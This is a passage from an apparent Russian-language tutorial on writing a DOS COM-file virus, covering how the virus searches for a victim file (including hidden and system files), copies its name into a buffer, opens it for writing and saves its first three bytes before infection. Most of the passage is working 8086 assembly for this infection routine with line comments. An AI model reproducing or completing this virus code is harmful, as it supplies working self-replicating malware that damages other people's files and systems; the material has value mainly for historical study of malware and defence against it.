Читаем исходные три байта

Ищем подходящий файл

Теперь самое время заняться поиском файла для заражения. Для поиска файла - жертвы мы будем использовать пару функций DOS : 4Eh (поиск первого файла) и 4Fh (поиск следующего файла). При вызове 4Eh в регистр CX помещаются атрибуты искомого файла, а в DX - его имя и расширение. Установленная нами маска предполагает поиск COM-файла, с атрибутами "archive","system" и "hidden".Функция 4Fh используется уже после того, как функция 4Eh нашла первый файл, удовлетворяющий нашим требованиям. Вирус будет вызывать ее в том случае, если найденный файл ему не подходит (например, он слишком велик). Имя найденного файла описанные выше функции помещают в DTA по смещению 01eh. А теперь приведем программный фрагмент, выполняющий поиск файла:

find_first: mov ah,4eh ;Поиск первого ;файла. .. mov cx,00100110b ;archive, system ;hidden lea dx,maska ;Маска для поис- ;ка int 21h jnc r_3 ;Нашли ! jmp restore_dta ;Ошибка ! find_next: mov ah,3eh ;Закроем непод- int 21h ;ходящий файл... jnc r_2 jmp restore_dta ;Файл нельзя за- ;крыть ! r_2: mov ah,4fh ;И найдем сле- int 21h ;дующий. .. jnc r_3 ;Файл найден ! jmp restore_dta ;Ошибка ! r_3: mov cx,12 ;Сотрем в буфере lea si,fn ;"fn" имя пред- destroy_name: ;ыдущего файла mov byte ptr [si],0 ; inc si ; loop destroy_name ;Цикл 12 раз. .. xor si,si ;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh] ;фер имя только cmp al,0 ;что найденного ;файла. .. je open ;В конце имени в mov byte ptr ds:fn[si],al ;DTA всегда сто- inc si ;ит ноль, его мы jmp copy_name ;и хотим достичь

Имя файла в буфере "fn" необходимо стирать вот почему. Например, первым был найден файл COMMAND.COM, и пусть он не подошел вирусу.Тогда вирус попытается найти следующий файл. Пусть это будет WIN.COM. Его имя запишется в область " fn ", и она примет вид: WINMAND.COM. Такого файла на диске, скорее всего, нет; если же попробовать к нему обратиться, это вызовет ошибку, и вирус закончит работу. Чтобы этого не случалось, область " fn " после каждого файла очищается. При ошибках в выполнении системных функций управление передается на метку "restore_dta". Затем вирус восстанавливает DTA зараженной программы и осуществляет переход на ее начало.

Итак,вирус нашел COM - программу, которую теперь следует заразить. Но сначала необходимо сохранить первые три байта этой программы (см. 1.3, п.4). Для этого файл нужно сначала открыть, а затем считать его первые три байта, что и реализуют приведенные ниже программные строки. Напомним, что имя файла хранится в строке "fn".

open: mov ax,3d02h ;Открыть файл ;для чтения и ;записи. .. lea dx,fn ;Имя файла. .. int 21h ; jnc save_bytes jmp restore_dta ;Файл не откры- ;вается ! save_bytes: ;Считаем три ;байта : mov bx,ax ;Сохраним дес- ;криптор в BX mov ah,3fh ;Номер функции mov cx,3 ;Сколько байт ? lea dx,old_bytes ;Буфер для счи- ;тываемых данных int 21h jnc found_size jmp close ;Ошибка !

Приведенный фрагмент помещает прочитанную информацию в область "old_bytes". Остальное ясно из комментариев.